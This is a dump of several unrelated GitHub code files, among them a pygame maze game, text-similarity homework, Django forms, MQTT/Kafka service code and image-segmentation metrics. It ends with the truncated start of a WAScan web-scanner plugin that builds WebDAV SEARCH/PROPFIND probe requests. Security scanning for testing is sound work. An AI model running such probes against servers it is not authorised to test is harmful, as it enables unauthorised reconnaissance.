msgBox.exec()","repo_name":"guoyanannan/-me","sub_path":"labelme/utils/box_op.py","file_name":"box_op.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43893306383","text":"import pygame\r\nimport sys\r\nfrom settings import *\r\nfrom player_class import*\r\n\r\npygame.init()\r\n#xrisimopoiw gia grammes stiles\r\n\r\nvec = pygame.math.Vector2\r\n\r\n\r\nclass App:\r\n\r\n\r\n def __init__(self):\r\n self.screen = pygame.display.set_mode((WIDTH,HEIGHT))\r\n self.clock = pygame.time.Clock()\r\n self.running = True\r\n self.state = 'start'\r\n\r\n self.cell_width = MAZE_WIDTH//40\r\n self.cell_height = MAZE_HEIGHT//17\r\n self.player = Player(self, PLAYER_START_POS)\r\n\r\n self.load()\r\n\r\n\r\n\r\n def run(self):\r\n\r\n while self.running:\r\n if self.state == 'start':\r\n self.start_events()\r\n self.start_update()\r\n self.start_draw()\r\n elif self.state == 'playing':\r\n self.playing_events()\r\n self.playing_update()\r\n self.playing_draw()\r\n else:\r\n self.running = False\r\n self.clock.tick(FPS)\r\n pygame.quit()\r\n sys.exit()\r\n\r\n##############BOITHITIKES SINARTISEIS###########\r\n\r\n\r\n def draw_text(self,words,screen,pos,size,colour,font_name,centered=False):\r\n font = pygame.font.SysFont(font_name,size)\r\n text = font.render(words,False,colour)\r\n text_size = text.get_size()\r\n if centered:\r\n pos[0] = pos[0] - text_size[0] // 2\r\n pos[1] = pos[1] - text_size[1] // 2\r\n screen.blit(text,pos)\r\n\r\n def load(self):\r\n\r\n self.background = pygame.image.load('map.png')\r\n self.background = pygame.transform.scale(self.background,(MAZE_WIDTH,MAZE_HEIGHT))\r\n\r\n\r\n def draw_grid(self):\r\n\r\n for x in range(WIDTH//self.cell_width):\r\n pygame.draw.line(self.background,GREY,(x*self.cell_width,0),(x*self.cell_width,HEIGHT))\r\n\r\n for x in range(HEIGHT//self.cell_height):\r\n pygame.draw.line(self.background,GREY,(0,x*self.cell_height),(WIDTH,x*self.cell_height))\r\n\r\n############# start programmatos ###############\r\n def start_events(self):\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n self.running = False\r\n if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\r\n self.state = 'playing'\r\n\r\n def start_update(self):\r\n pass\r\n\r\n def start_draw(self):\r\n self.screen.fill(BLACK)\r\n self.draw_text('PUSH SPACE TO START', self.screen, [WIDTH // 2, HEIGHT // 2], START_TEXT_SIZE,\r\n (170, 132, 58), START_FONT, centered=True)\r\n self.draw_text('1 PLAYER ONLY', self.screen, [WIDTH // 2, HEIGHT // 2 + 50], START_TEXT_SIZE,\r\n (33, 137, 156), START_FONT, centered=True)\r\n pygame.display.update()\r\n############ play programmatos#################\r\n def playing_events(self):\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n self.running = False\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n self.player.move(vec(-1,0))\r\n if event.key == pygame.K_RIGHT:\r\n self.player.move(vec(1, 0))\r\n if event.key == pygame.K_UP:\r\n self.player.move(vec(0, -1))\r\n if event.key == pygame.K_DOWN:\r\n self.player.move(vec(0, 1))\r\n def playing_update(self):\r\n self.player.update()\r\n\r\n def playing_draw(self):\r\n self.screen.fill(BLACK)\r\n self.screen.blit(self.background,(TOP_BOTTOM_BUFFER//2,TOP_BOTTOM_BUFFER//2))\r\n self.draw_grid()\r\n self.draw_text('CURRENT SCORE: 0',self.screen,[120,0],18,WHITE,START_FONT,centered=False)\r\n self.draw_text('HIGH SCORE: 0', self.screen, [WIDTH//2+40, 0], 18, WHITE, START_FONT, centered=False)\r\n self.player.draw()\r\n pygame.display.update()\r\n\r\n","repo_name":"spiritualsku/my-game","sub_path":"app_class.py","file_name":"app_class.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9536639675","text":"import sys\n\nsource_file = sys.argv[1]\ncharset = set('\\t')\n\nwith open(source_file, 'r', encoding='utf-8') as f:\n while True:\n line = f.readline()\n if line:\n charset.update(line)\n else:\n break\n\nprint(''.join(sorted(charset)), end='')\n","repo_name":"wannaphong/char-nmt-1","sub_path":"scripts/filechars.py","file_name":"filechars.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38050803926","text":"from __future__ import print_function\n\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import HashingVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import Normalizer\nfrom sklearn import metrics\nfrom sklearn.cluster import KMeans, MiniBatchKMeans\nfrom sklearn import manifold\nfrom nltk.stem import RegexpStemmer\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk import stem\nfrom nltk.stem.lancaster import LancasterStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n \nimport sklearn \nimport nltk\nimport logging\nfrom optparse import OptionParser\nimport sys\nimport math\nimport matplotlib.pyplot as plt\nfrom time import time\n\nimport numpy as np\nimport string\n\n\nt0 = time()\ntrue_k = 120\nplot = 1\n\nop = OptionParser()\nop.add_option(\"--lsa\",\n dest=\"n_components\", type=\"int\",\n help=\"Preprocess documents with latent semantic analysis.\")\nop.add_option(\"--no-minibatch\",\n action=\"store_false\", dest=\"minibatch\", default=True,\n help=\"Use ordinary k-means algorithm (in batch mode).\")\nop.add_option(\"--no-idf\",\n action=\"store_false\", dest=\"use_idf\", default=True,\n help=\"Disable Inverse Document Frequency feature weighting.\")\nop.add_option(\"--use-hashing\",\n action=\"store_true\", default=False,\n help=\"Use a hashing feature vectorizer\")\nop.add_option(\"--n-features\", type=int, default=10000,\n help=\"Maximum number of features (dimensions)\"\n \" to extract from text.\")\nop.add_option(\"--verbose\",\n action=\"store_true\", dest=\"verbose\", default=False,\n help=\"Print progress reports inside k-means algorithm.\")\n(opts, args) = op.parse_args()\n\nopts.n_components = 20\n\nfile1 = open(sys.argv[1] + \"title_StackOverflow.txt\", \"r\")\nfile2 = open(sys.argv[1] + \"docs.txt\", \"r\")\ndataset = []\nfinaldata = []\ncnt = 0\nfor line in file1.readlines():\n cnt += 1\n porter = stem.porter.PorterStemmer()\n lan = LancasterStemmer()\n lemma = WordNetLemmatizer()\n\n line = line.decode('utf-8')\n line = line.lower()\n tokenizer = RegexpTokenizer(r'\\w+')\n line = tokenizer.tokenize(line)\n stop = set(stopwords.words('english')) \n line = [i for i in line if i not in stop and len(i) >= 2]\n \n line = [porter.stem(j) for j in line ]\n line = [lan.stem(j) for j in line]\n line = [lemma.lemmatize(j) for j in line]\n newline = \"\"\n for i in range(len(line)):\n newline += line[i] + \" \"\n dataset.append(newline)\n finaldata.append(newline)\n\nfor line in file2.readlines():\n cnt += 1\n porter = stem.porter.PorterStemmer()\n lan = LancasterStemmer()\n lemma = WordNetLemmatizer()\n\n line = line.decode('utf-8')\n line = line.lower()\n tokenizer = RegexpTokenizer(r'\\w+')\n line = tokenizer.tokenize(line)\n stop = set(stopwords.words('english')) \n line = [i for i in line if i not in stop and len(i) >= 2]\n \n line = [porter.stem(j) for j in line ]\n line = [lan.stem(j) for j in line]\n line = [lemma.lemmatize(j) for j in line]\n newline = \"\"\n for i in range(len(line)):\n newline += line[i] + \" \"\n dataset.append(newline)\n\n\nvectorizer = TfidfVectorizer(max_df=0.4, max_features=None,\n min_df=2, stop_words='english',\n use_idf=True)\n#X = vectorizer.fit_transform(dataset)\nX = vectorizer.fit(dataset)\nX = vectorizer.transform(finaldata)\n\n\nif opts.n_components:\n print(\"Performing dimensionality reduction using LSA\")\n t0 = time()\n svd = TruncatedSVD(opts.n_components)\n normalizer = Normalizer(copy=False)\n lsa = make_pipeline(svd, normalizer)\n\n X = lsa.fit_transform(X)\n\n print(\"done in %fs\" % (time() - t0))\n\n explained_variance = svd.explained_variance_ratio_.sum()\n print(\"Explained variance of the SVD step: {}%\".format(\n int(explained_variance * 100)))\n\n print()\n\nans = sklearn.metrics.pairwise.cosine_similarity(X)\n\"\"\"\n###############################################################################\n# Do the actual clustering\n\nif opts.minibatch:\n km = MiniBatchKMeans(n_clusters=true_k, init='k-means++', n_init=40,\n init_size=1000, batch_size=1000, max_iter = 10000, max_no_improvement = 100, verbose=opts.verbose)\nelse:\n km = KMeans(n_clusters=true_k, init='k-means++', max_iter=100, n_init=1,\n verbose=opts.verbose)\n\nprint(\"Clustering sparse data with %s\" % km)\nkm.fit(X)\n\nprint (km.labels_)\nif not opts.use_hashing:\n print(\"Top terms per cluster:\")\n\n if opts.n_components:\n original_space_centroids = svd.inverse_transform(km.cluster_centers_)\n order_centroids = original_space_centroids.argsort()[:, ::-1]\n else:\n order_centroids = km.cluster_centers_.argsort()[:, ::-1]\n\n terms = vectorizer.get_feature_names()\n for i in range(true_k):\n print(\"Cluster %d:\" % i, end='')\n for ind in order_centroids[i, :10]:\n print(' %s' % terms[ind], end='')\n print()\n\n\nif plot:\n #plt.figure(figsize = (10,10))\n #plt.scatter(X[:,0], X[:,1])\n #plt.show()\n print(\"Performing dimensionality reduction using LSA\")\n t0 = time()\n svd = TruncatedSVD(10)\n normalizer = Normalizer(copy=False)\n lsa = make_pipeline(svd, normalizer)\n\n X = lsa.fit_transform(X)\n\n print(\"done in %fs\" % (time() - t0))\n\n explained_variance = svd.explained_variance_ratio_.sum()\n print(\"Explained variance of the SVD step: {}%\".format(\n int(explained_variance * 100)))\n\n print()\n\n\n tsne = manifold.MDS(n_components=2, random_state=0)\n trans_data = tsne.fit_transform(X)\n t1 = time()\n print(\"t-SNE: %.2g sec\" % (t1 - t0))\n fig = plt.figure(figsize = (10,10))\n ax = fig.add_subplot(2, 5, 10)\n plt.scatter(trans_data[:, 0], trans_data[:, 1], c=colors, cmap=plt.cm.rainbow)\n plt.title(\"t-SNE (%.2g sec)\" % (t1 - t0))\n ax.xaxis.set_major_formatter(NullFormatter())\n ax.yaxis.set_major_formatter(NullFormatter())\n plt.axis('tight')\n\n plt.show()# output prediction\n\"\"\"\nfile2 = open(sys.argv[1] + \"check_index.csv\", \"r\")\nfile3 = open(sys.argv[2], \"w\")\nfile3.write(\"ID,Ans\\n\")\ncheck_id = []\ncnt = 0\nfor line in file2.readlines():\n if cnt > 0:\n line = line.split(\",\")\n line = line[1:]\n check_id.append(line)\n cnt += 1\nfor i in range(len(check_id)):\n if ans[int(check_id[i][0])][int(check_id[i][1])] > 0.85:\n file3.write(str(i) + \",1\\n\")\n else : file3.write(str(i) + \",0\\n\")\n","repo_name":"ShannonKuo/ML2016","sub_path":"hw4/cosine_similarity.py","file_name":"cosine_similarity.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38159931758","text":"# Results:\n# Runtime: 45ms 74.11%\n# Memory Usage: 16.3MB 75.23%\n\n\"\"\"\n\nhttps://leetcode.com/problems/diameter-of-binary-tree/\n\ndiameter = longest path between two nodes\n\nIdea:\n- longest path = from node, longest path left + longest path right\n- post order traversal\n\nTactic: Post order traversal, max longest paths. Careful with returning longest path, return longest left / right + 1 to account for edge to node, or 0 if none\n\n\"\"\"\n\ndef solve(root):\n maxPath = 0\n\n def getLongest(node):\n nonlocal maxPath\n if node is None:\n return 0\n longestLeft = getLongest(node.left)\n longestRight = getLongest(node.right)\n maxPath = max(maxPath, longestLeft + longestRight)\n return max(longestLeft, longestRight) + 1 # Plus 1 here to account for this node reaching another\n getLongest(root)\n return maxPath","repo_name":"johnzhoudev/leetcode-practice","sub_path":"season_2_neetcode_150/diameter_of_binary_tree.py","file_name":"diameter_of_binary_tree.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10147608608","text":"import collections\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom tkweb.apps.regnskab.models import EmailTemplate, config\nfrom tkweb.apps.regnskab.utils import plain_to_html, html_to_plain\nimport tktitler as tk\nfrom mediumeditor.widgets import MediumEditorTextarea\n\n\ndef placeholder_from_help(cls):\n for f in cls.base_fields.values():\n if f.help_text and 'placeholder' not in f.widget.attrs:\n f.widget.attrs['placeholder'] = f.help_text\n f.help_text = None\n return cls\n\n\n@placeholder_from_help\nclass SheetCreateForm(forms.Form):\n start_date = forms.DateField(label='På-dato',\n help_text='Format DD.MM.YYYY')\n end_date = forms.DateField(label='Af-dato',\n help_text='Format DD.MM.YYYY')\n image_file = forms.FileField(label='Scannet PDF',\n required=False)\n name = forms.CharField(max_length=200, required=False,\n label='Særlig krydsliste',\n help_text='(f.eks. revy)')\n period = forms.IntegerField(label='Bestyrelsesår')\n kinds = forms.CharField(widget=forms.Textarea,\n label='Priser')\n\n def __init__(self, **kwargs):\n period = kwargs.pop(\"period\")\n super().__init__(**kwargs)\n choices = [\n (period, \"Nuværende %s/%02d\" % (period, (period + 1) % 100)),\n (period - 1, \"Sidste år %s/%02d\" % (period - 1, period % 100)),\n ]\n self.fields[\"period\"] = forms.ChoiceField(\n label=\"Bestyrelsesår\", choices=choices\n )\n\n def clean_kinds(self):\n s = self.cleaned_data['kinds']\n kinds = []\n for line in s.splitlines():\n if not line:\n continue\n try:\n name, unit_price = line.split()\n except ValueError:\n raise ValidationError(\"Not two words: %r\" % line)\n try:\n kinds.append(dict(name=name, unit_price=float(unit_price)))\n except ValueError:\n raise ValidationError(\"Not a number: %r\" % unit_price)\n names = collections.Counter(o['name'] for o in kinds)\n dups = {k: v for k, v in names.items() if v > 1}\n if dups:\n raise ValidationError(\"Duplicate names: %r\" % (dups,))\n return kinds\n\n\nclass EmailTemplateForm(forms.ModelForm):\n class Meta:\n model = EmailTemplate\n fields = ('name', 'subject', 'body', 'format', 'markup')\n widgets = {'subject': forms.TextInput(attrs={'size': 60})}\n\n name = forms.CharField(required=True)\n initial_markup = forms.ChoiceField(\n choices=EmailTemplate.MARKUP, widget=forms.HiddenInput())\n\n @staticmethod\n def initial_body(instance):\n if instance is None:\n return ''\n if instance.markup == EmailTemplate.HTML:\n return instance.body_html_data_uris()\n elif instance.markup == EmailTemplate.PLAIN:\n return instance.body_plain()\n else:\n raise ValueError(instance.markup)\n\n @staticmethod\n def convert_body(body, in_, out):\n if in_ == EmailTemplate.PLAIN and out == EmailTemplate.HTML:\n return plain_to_html(body)\n elif in_ == EmailTemplate.HTML and out == EmailTemplate.PLAIN:\n return html_to_plain(body)\n else:\n assert in_ == out\n return body\n\n def __init__(self, **kwargs):\n instance = kwargs.get('instance')\n initial = kwargs.setdefault('initial', {})\n initial.setdefault('body', EmailTemplateForm.initial_body(instance))\n super().__init__(**kwargs)\n if instance and instance.markup == EmailTemplate.HTML:\n self.fields['body'].widget = MediumEditorTextarea()\n self.fields['initial_markup'].initial = EmailTemplate.HTML\n else:\n self.fields['initial_markup'].initial = EmailTemplate.PLAIN\n\n def clean(self):\n cleaned_data = super().clean()\n try:\n body = cleaned_data['body']\n in_ = cleaned_data['initial_markup']\n out = cleaned_data['markup']\n except KeyError:\n pass\n else:\n cleaned_data['body'] = EmailTemplateForm.convert_body(\n body, in_, out)\n return cleaned_data\n\n def save(self):\n instance = super().save(commit=False)\n instance.clean()\n instance.save()\n self.save_m2m()\n return instance\n\n\nclass AnonymousEmailTemplateForm(forms.Form):\n subject = forms.CharField(max_length=200, initial='[TK] ',\n widget=forms.TextInput(attrs={'size': 60}))\n body = forms.CharField(widget=forms.Textarea(attrs={'cols': 70, 'rows': 20}))\n format = forms.ChoiceField(choices=EmailTemplate.FORMAT, initial=EmailTemplate.POUND)\n markup = forms.ChoiceField(choices=EmailTemplate.MARKUP, initial=EmailTemplate.PLAIN)\n initial_markup = forms.ChoiceField(\n choices=EmailTemplate.MARKUP, widget=forms.HiddenInput())\n\n def __init__(self, **kwargs):\n instance = kwargs.pop('instance', None)\n initial = kwargs.setdefault('initial', {})\n data = kwargs.get('data', {})\n initial.setdefault('body', EmailTemplateForm.initial_body(instance))\n if instance:\n initial.setdefault('subject', instance.subject)\n initial.setdefault('format', instance.format)\n initial.setdefault('markup', instance.markup)\n super().__init__(**kwargs)\n\n if instance:\n initial_markup = instance.markup\n elif data and data.get('body'):\n initial_markup = data.get('initial_markup', EmailTemplate.PLAIN)\n else:\n # Consider the following scenario.\n # The user wants to create a Newsletter in HTML markup.\n # The user goes to NewsletterCreate, changes Markup to HTML\n # from the default PLAIN, and presses submit. In this case,\n # the form is invalid since body is required but empty.\n # We want to redisplay the erroneous form with the HTML widget\n # instead of the PLAIN widget. This is only safe to do when\n # body is empty; otherwise, we would need to convert between\n # PLAIN and HTML, which we shouldn't do at this point.\n initial_markup = data.get('markup', EmailTemplate.PLAIN)\n\n if initial_markup == EmailTemplate.HTML:\n self.fields['body'].widget = MediumEditorTextarea()\n self.fields['initial_markup'].initial = EmailTemplate.HTML\n else:\n self.fields['initial_markup'].initial = EmailTemplate.PLAIN\n\n def clean(self):\n cleaned_data = super().clean()\n try:\n body = cleaned_data['body']\n in_ = cleaned_data['initial_markup']\n out = cleaned_data['markup']\n except KeyError:\n pass\n else:\n cleaned_data['body'] = EmailTemplateForm.convert_body(\n body, in_, out)\n return cleaned_data\n\n\nclass TransactionBatchForm(forms.Form):\n def __init__(self, **kwargs):\n profiles = kwargs.pop('profiles')\n try:\n period = kwargs.pop('period')\n except KeyError:\n period = config.GFYEAR\n super().__init__(**kwargs)\n with tk.set_gfyear(period):\n self._init(profiles)\n\n def _init(self, profiles):\n self._profiles = []\n for profile, amount, selected in profiles:\n p = 'profile%d_' % profile.id\n if profile.title:\n profile.display_name = (\n '%s %s' %\n (tk.prefix(profile.title, type='unicode')\n if profile.title.period else profile.title.root,\n profile.name))\n else:\n profile.display_name = profile.name\n self.fields[p + 'selected'] = forms.BooleanField(\n initial=selected,\n required=False, label='%s markeret' % profile.display_name)\n amount_str = '%g' % amount\n try:\n int(amount_str)\n except ValueError:\n amount_str = '%.2f' % amount\n self.fields[p + 'amount'] = forms.FloatField(\n initial=amount_str, label='%s beløb' % profile.display_name,\n widget=forms.TextInput())\n self._profiles.append(profile)\n\n def profile_fields(self):\n for profile in self._profiles:\n p = 'profile%d_' % profile.id\n yield (profile, self[p + 'amount'], self[p + 'selected'])\n\n def profile_data(self):\n data = self.cleaned_data\n for profile in self._profiles:\n p = 'profile%d_' % profile.id\n yield (profile, data[p + 'amount'], data[p + 'selected'])\n\n\nclass BalancePrintForm(forms.Form):\n PDF, SOURCE, PRINT = 'pdf', 'source', 'print'\n print_choices = [\n (PDF, 'Hent som PDF'),\n (SOURCE, 'Hent TeX-kildekode'),\n (PRINT, 'Print på A2'),\n ]\n\n highlight = forms.BooleanField(required=False, initial=True)\n mode = forms.ChoiceField(choices=print_choices, initial='pdf')\n\n\n@placeholder_from_help\nclass SheetRowForm(forms.Form):\n start_date = forms.DateField(label='På-dato',\n help_text='Format DD.MM.YYYY')\n end_date = forms.DateField(label='Af-dato',\n help_text='Format DD.MM.YYYY')\n data = forms.CharField(\n widget=forms.HiddenInput(\n attrs=dict(id='tk_rows')))\n\n\n@placeholder_from_help\nclass ProfileListForm(forms.Form):\n purchases_after = forms.DateField(label='Forbrug siden', required=False,\n help_text='Format DD.MM.YYYY')\n\n def __init__(self, **kwargs):\n data = kwargs.get('data') or {}\n super().__init__(**kwargs)\n\n # Insert other data as hidden fields\n self.other_fields = []\n for k, v in data.items():\n if k not in self.fields:\n self.fields[k] = forms.CharField(\n initial=v, widget=forms.HiddenInput())\n self.other_fields.append(self[k])\n","repo_name":"TK-IT/web","sub_path":"tkweb/apps/regnskab/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":10260,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"41726772313","text":"import SimpleITK as sitk\nimport os\nimport copy\nimport tqdm\n\n\ndef get_listdir(path): # 获取目录下所有png格式文件的地址,返回地址list\n tmp_list = []\n for file in os.listdir(path):\n if os.path.splitext(file)[1] == '.gz':\n file_path = os.path.join(path, file)\n tmp_list.append(file_path)\n return tmp_list\n\n\ndef img_rectity(img, mask, path):\n img_sitk_img = sitk.ReadImage(img)\n mask_sitk_img = sitk.ReadImage(mask)\n mask_img_arr = sitk.GetArrayFromImage(mask_sitk_img)\n\n new_mask_img = sitk.GetImageFromArray(mask_img_arr)\n new_mask_img.SetDirection(img_sitk_img.GetDirection())\n new_mask_img.SetOrigin(img_sitk_img.GetOrigin())\n new_mask_img.SetSpacing(img_sitk_img.GetSpacing())\n _, fullflname = os.path.split(mask)\n sitk.WriteImage(new_mask_img, os.path.join(path, fullflname))\n\n\n# 修正3d slicer不能读取的mask\nif __name__ == '__main__':\n img_path = r'' # img路径\n mask_path = r'' # mask路径\n save_path = r'' # 保存路径\n img = get_listdir(img_path)\n mask = get_listdir(mask_path)\n img.sort()\n mask.sort()\n for i in tqdm.trange(len(mask)):\n img_rectity(img[i], mask[i], save_path)\n","repo_name":"PangHaowen-hub/image-processing","sub_path":"nii_rectify.py","file_name":"nii_rectify.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"29"} +{"seq_id":"25819863340","text":"# Dada una cadena, formar una nueva con las posiciones que sean multiplos de 9 y primos\n\ndef es_multiplo_de_9(number):\n return number % 9 == 0\n\n\ndef es_primo(number):\n for i in range(2, number):\n if number % i == 0:\n return False\n return True\n\n\ncadena = input('Introduce una cadena: ')\nnueva_cadena = ''\nfor i in range(len(cadena)):\n if (es_multiplo_de_9(i) and es_primo(i) and i != 0):\n nueva_cadena += cadena[i]\nprint('nueva cadena: ', nueva_cadena)\n","repo_name":"JorcelMahan/umsa-practica-strings","sub_path":"ej6.py","file_name":"ej6.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70265439759","text":"import numpy as np\n# from medpy.metric.binary import hd, dc, asd\nfrom utils.loss import DiceCoefMultilabelLoss\n\ndef to_categorical(y, num_classes):\n \"\"\" 1-hot encodes a tensor \"\"\"\n return np.eye(num_classes, dtype='uint8')[y]\n\n\ndef dice_coefficient_numpy(y_true, y_pred):\n y_true = y_true.flatten()\n y_pred = y_pred.flatten()\n intersection = np.sum(y_true * y_pred)\n return (2. * intersection + 1.0) / (np.sum(y_true) + np.sum(y_pred) + 1.0)\n\n\ndef dice(predict, target, smooth=1):\n predict = predict.flatten()\n target = target.flatten()\n pred = (predict>0).float()\n return 2.0 * (pred* target).sum() / ((pred+ target).sum() + smooth)\n\ndef IoU(pred, targs):\n pred = (pred>0).float()\n intersection = (pred*targs).sum()\n return intersection / ((pred+targs).sum() - intersection + 1.0)\n\n\ndef dice_coefficient_multiclass( y_pred, y_true):\n dice_metric = 0\n for c in range(1, y_true.shape[1]):\n dice_metric += DiceCoefMultilabelLoss.dice_coeff( predict = y_pred[:, c, :, :], target= y_true[:, c, :, :])\n dice_metric /= c\n return dice_metric\n\n\n\ndef hausdorff_multilabel(y_true, y_pred, numLabels=4, channel='channel_first'):\n \"\"\"\n :param y_true:\n :param y_pred:\n :param numLabels:\n :return:\n \"\"\"\n assert channel=='channel_first' or channel=='channel_last', r\"channel has to be either 'channel_first' or 'channel_last'\"\n hd_score = 0\n if channel == 'channel_first':\n y_true = np.moveaxis(y_true, 1, -1)\n y_pred = np.moveaxis(y_pred, 1, -1)\n for index in range(1, numLabels):\n temp = hd(reference=y_true[:, :, :, index], result=y_pred[:, :, :, index])\n hd_score += temp\n\n hd_score = hd_score / (numLabels - 1)\n return hd_score\n\ndef metrics(img_gt, img_pred, apply_hd=False, apply_asd=False):\n \"\"\"\n Function to compute the metrics between two segmentation maps given as input.\n\n Parameters\n ----------\n img_gt: np.array\n Array of the ground truth segmentation map.\n\n img_pred: np.array\n Array of the predicted segmentation map.\n\n voxel_size: list, tuple or np.array\n The size of a voxel of the images used to compute the volumes.\n\n Return\n ------\n A list of metrics in this order, [Dice LV, Volume LV, Err LV(ml),\n Dice RV, Volume RV, Err RV(ml), Dice MYO, Volume MYO, Err MYO(ml)]\n \"\"\"\n\n if img_gt.ndim != img_pred.ndim:\n raise ValueError(\"The arrays 'img_gt' and 'img_pred' should have the \"\n \"same dimension, {} against {}\".format(img_gt.ndim,\n img_pred.ndim))\n\n res = {}\n class_name = [\"lv\", \"myo\", \"rv\"]\n # Loop on each classes of the input images\n for c, cls_name in zip([1, 2, 3], class_name) :\n # Copy the gt image to not alterate the input\n gt_c_i = np.copy(img_gt)\n gt_c_i[gt_c_i != c] = 0\n\n # Copy the pred image to not alterate the input\n pred_c_i = np.copy(img_pred)\n pred_c_i[pred_c_i != c] = 0\n\n # Clip the value to compute the volumes\n gt_c_i = np.clip(gt_c_i, 0, 1)\n pred_c_i = np.clip(pred_c_i, 0, 1)\n\n # Compute the Dice\n dice = dc(gt_c_i, pred_c_i)\n h_d, a_sd = 0, 0\n if apply_hd:\n h_d = hd(gt_c_i, pred_c_i)\n if apply_asd:\n a_sd = asd (gt_c_i, pred_c_i)\n\n # Compute volume\n res[cls_name] = [dice, h_d, a_sd]\n\n return res\n","repo_name":"mariamonzon/MyocardialSegmentationCMRPractikum","sub_path":"utils/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"267938010","text":"import uvicorn\nimport asyncio\nimport json \n\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom utils.config import get_config\nfrom db.common import db\nfrom api.endpoint import endpoint\nfrom utils.logger import logger_config\nfrom utils.mqtt import fast_mqtt\nfrom utils.kafka import kafka_init, consume\n\nsettings = get_config()\n\nlogger = logger_config(__name__)\n\napp = FastAPI(title=settings.PROJECT_NAME, version=settings.VERSION, description=settings.DESCRIPTION)\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n# Including routes\napp.include_router(endpoint)\n\n# MQTT\nfast_mqtt.init_app(app)\n\n# Add Prometheus\n\nlogger.info(\"API launched for \" + settings.ENVIRONMENT + \" environment\")\n\n\n@fast_mqtt.on_connect()\ndef connect(client, flags, rc, properties):\n logger.info(f\"Client {str(client)} connected to {settings.MQTT_BROKER_HOST}\")\n logger.info(f\"Flags: {str(flags)}\")\n logger.info(f\"RC: {str(rc)}\")\n logger.info(f\"Properties: {str(properties)}\")\n logger.info(f\"Now subscribing to measure related topics under {settings.MQTT_TOPIC_PREFIX}#\")\n fast_mqtt.client.subscribe(settings.MQTT_TOPIC_PREFIX + \"#\", qos=1)\n\n@fast_mqtt.on_message()\nasync def message(client, topic, payload, qos, properties):\n logger.info(f\"Client {str(client)} received message from topic {topic} with QoS {qos}\")\n logger.info(f\"Payload: {str(payload)}\")\n logger.info(f\"Properties: {str(properties)}\")\n \n return json.loads(payload)\n\n@fast_mqtt.on_disconnect()\ndef disconnect(client, packet, exc=None):\n logger.info(f\"Client {client} disconnected\")\n logger.info(f\"Packet: {packet}\")\n\n@fast_mqtt.on_subscribe()\ndef subscribe(client, mid, qos, properties):\n logger.info(f\"Client {client} subscribed with QoS {qos}\")\n logger.info(f\"MID {mid}\")\n logger.info(f\"Properties {properties}\")\n\n# Startup event routine\n@app.on_event(\"startup\")\nasync def startup():\n logger.info(\"Application startup\")\n await db.connect_to_database(path=settings.DB_URI, db_name=settings.DB_NAME)\n # asyncio.create_task(kafka_init())\n asyncio.create_task(consume())\n\n# Shutdown event routine\n@app.on_event(\"shutdown\")\nasync def shutdown():\n logger.info(\"Application shutdown\")\n await db.close_database_connection()\n\nif __name__ == \"__main__\":\n uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000, reload=True)","repo_name":"RiccardoMPesce/IoT-Devices-Simulation","sub_path":"monitoring-management-microservice/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33838129335","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*-\n#\n# @name: Wascan - Web Application Scanner\n# @repo: https://github.com/m4ll0k/Wascan\n# @author: Momo Outaadi (M4ll0k)\n# @license: See the file 'LICENSE.txt'\n\nfrom re import search,I\nfrom lib.utils.printer import *\nfrom lib.request.request import *\n\nclass dav(Request):\n\t\"\"\" dav \"\"\"\n\t# methods\n\tm_search = \"SEARCH\"\n\tm_profind = \"PROFIND\"\n\tcotent_type = \"application/xml; charset=\\\"utf-8\\\"\"\n\tdef __init__(self,kwargs,url,data):\n\t\tRequest.__init__(self,kwargs)\n\t\tself.url = url\n\t\tself.data = data\n\n\tdef run(self):\n\t\t\"\"\"Run\"\"\"\n\t\tself.search()\n\t\tself.propfind()\n\n\tdef search(self):\n\t\t# headers \n\t\theaders = {\n\t\t\t\t\t'Content-Type':self.cotent_type\n\t\t\t\t\t}\n\t\t# content data\n\t\tcontent = \"<?xml version='1.0'?>\\r\\n\"\n\t\tcontent += \"<g:searchrequest xmlns:g='DAV:'>\\r\\n\"\n\t\tcontent += \"<g:sql>\\r\\n\"\n\t\tcontent += \"Select 